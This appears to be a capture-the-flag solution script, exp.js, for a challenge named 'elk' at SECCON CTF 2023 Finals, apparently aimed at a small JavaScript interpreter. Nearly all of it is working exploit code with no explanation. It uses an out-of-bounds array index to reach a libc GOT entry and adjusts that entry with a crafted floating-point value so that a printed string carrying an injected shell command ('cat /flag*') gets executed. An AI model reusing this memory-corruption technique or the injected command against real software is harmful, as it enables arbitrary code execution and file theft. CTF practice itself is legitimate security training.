SECCON CTF 2023 Finals elk

exp.js

let tmp = Array.create(0x10);
print("hogeogehohoge; cat /flag* ; cat /flag*; cat /flag*; "); // "
// 0xdeadbeef000000a8
let a = -11885953953521044204262283356352921729787255120762006772597472279566207698356848245844122139069258806622701577786132951422544398067457110976011173888.0000000000000--;
let offset_libc_got = 0x319f58 / 8 -11 + 0x3000/8;
let mod = 6.7946279131188262738573787925444e-318;

Array.set(tmp, offset_libc_got, Array.get(tmp,offset_libc_got ) - mod);
print(1);